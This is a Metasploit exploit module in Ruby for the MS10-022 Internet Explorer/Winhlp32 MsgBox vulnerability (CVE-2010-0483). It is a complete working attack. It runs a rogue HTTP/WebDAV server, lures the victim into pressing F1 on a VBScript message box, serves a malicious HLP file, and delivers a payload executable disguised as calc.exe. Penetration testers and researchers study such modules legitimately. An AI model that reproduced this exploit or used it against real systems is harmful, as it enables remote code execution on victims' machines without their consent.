##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution',
      'Description'    => %q{
          This module exploits a code execution vulnerability that occurs when a user
        presses F1 on MessageBox originated from VBscript within a web page. When the
        user hits F1, the MessageBox help functionaility will attempt to load and use
        a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server.

        This particular version of the exploit implements a WebDAV server that will
        serve HLP file as well as a payload EXE. During testing warnings about the
        payload EXE being unsigned were witnessed. A future version of this module
        might use other methods that do not create such a warning.
      },
      'Author'         =>
        [
          'Maurycy Prodeus',   # Original discovery
          'jduck'              # Metasploit version
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-0483' ],
          [ 'OSVDB', '62632' ],
          [ 'MSB', 'MS10-023' ],
          [ 'URL', 'http://www.microsoft.com/technet/security/advisory/981169.mspx' ],
          [ 'URL', 'http://blogs.technet.com/msrc/archive/2010/02/28/investigating-a-new-win32hlp-and-internet-explorer-issue.aspx' ],
          [ 'URL', 'http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Compat' =>
          {
            'ConnectionType' => '-find',
          }
        },
      'Platform'       => 'win',

      # Tested OK - Windows XP SP3 - jjd
      'Targets'        =>
        [
          [ 'Automatic', { } ],

          [ 'Internet Explorer on Windows',
            {
              # nothing here
            }
          ]
        ],
      'DisclosureDate' => 'Feb 26 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
      ])
  end


  def auto_target(cli, request)
    agent = request.headers['User-Agent']

    ret = nil
    # Check for MSIE and/or WebDAV redirector requests
    if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/
      ret = targets[1]
    elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
      ret = targets[1]
    elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
      ret = targets[1]
    elsif agent =~ /MSIE 7\.0/
      ret = targets[1]
    elsif agent =~ /MSIE 6\.0/
      ret = targets[1]
    else
      print_status("Unknown User-Agent #{agent}")
    end

    ret
  end


  def on_request_uri(cli, request)

    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if (not mytarget)
        send_not_found(cli)
        return
      end
    end

    # If there is no subdirectory in the request, we need to redirect.
    if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
      if (request.uri == '/')
        subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
      else
        subdir = request.uri + '/'
      end
      print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
      send_redirect(cli, subdir)
      return
    end

    # dispatch WebDAV requests based on method first
    case request.method
    when 'OPTIONS'
      process_options(cli, request, mytarget)

    when 'PROPFIND'
      process_propfind(cli, request, mytarget)

    when 'GET'
      process_get(cli, request, mytarget)

    when 'PUT'
      print_status("Sending 404 for PUT #{request.uri} ...")
      send_not_found(cli)

    else
      print_error("Unexpected request method encountered: #{request.method}")

    end

  end


  #
  # GET requests
  #
  def process_get(cli, request, target)

    print_status("Responding to GET request #{request.uri}")
    # dispatch based on extension
    if (request.uri =~ /\.hlp$/i)
      #
      # HLP requests sent by IE and the WebDav Mini-Redirector
      #
      print_status("Sending HLP")
      # Transmit the compressed response to the client
      send_response(cli, generate_hlp(target), { 'Content-Type' => 'application/octet-stream' })

    elsif (request.uri =~ /calc\.exe$/i)
      #
      # send the EXE
      #
      print_status("Sending EXE")
      # Re-generate the payload
      return if ((p = regenerate_payload(cli)) == nil)
      exe = generate_payload_exe({ :code => p.encoded })
      send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })

    else
      #
      # HTML requests sent by IE and Firefox
      #
      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
      name = rand_text_alphanumeric(rand(8)+8)
      #path = get_resource.gsub(/\//, '\\')
      path = request.uri.gsub(/\//, '\\')
      unc = '\\\\' + my_host + path + name + '.hlp'
      print_status("Using #{unc} ...")
      html = %Q|<html>
<script type="text/vbscript">
MsgBox "Welcome!  Press F1 to dismiss this dialog.", ,"Welcome!", "#{unc}", 1
</script>
</html>
|
      print_status("Sending HTML page")
      send_response(cli, html)

    end
  end


  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request, target)
    print_status("Responding to WebDAV OPTIONS request")
    headers = {
      #'DASL'   => '<DAV:sql>',
      #'DAV'    => '1, 2',
      'Allow'  => 'OPTIONS, GET, PROPFIND',
      'Public' => 'OPTIONS, GET, PROPFIND'
    }
    send_response(cli, '', headers)
  end


  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request, target)
    path = request.uri
    print_status("Received WebDAV PROPFIND request")
    body = ''

    if (path =~ /calc\.exe$/i)
      # Uncommenting the following will use the target system's calc (as specified in the .hlp)
      #print_status("Sending 404 for #{path} ...")
      #send_not_found(cli)
      #return

      # Response for the EXE
      print_status("Sending EXE multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
    elsif (path =~ /\.hlp/i)
      print_status("Sending HLP multistatus for #{path} ...")
      body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
    elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
      print_status("Sending 404 for #{path} ...")
      send_not_found(cli)
      return

    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
      # Response for anything else (generally just /)
      print_status("Sending directory multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

    else
      print_status("Sending 404 for #{path} ...")
      send_not_found(cli)
      return

    end

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end


  #
  # Generate a HLP file that will trigger the vulnerability
  #
  def generate_hlp(target)
    @hlp_data
  end


  #
  # When exploit is called, load the runcalc.hlp file
  #
  def exploit
    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    path = File.join(Msf::Config.data_directory, "exploits", "runcalc.hlp")
    fd = File.open(path, "rb")
    @hlp_data = fd.read(fd.stat.size)
    fd.close

    super
  end
end
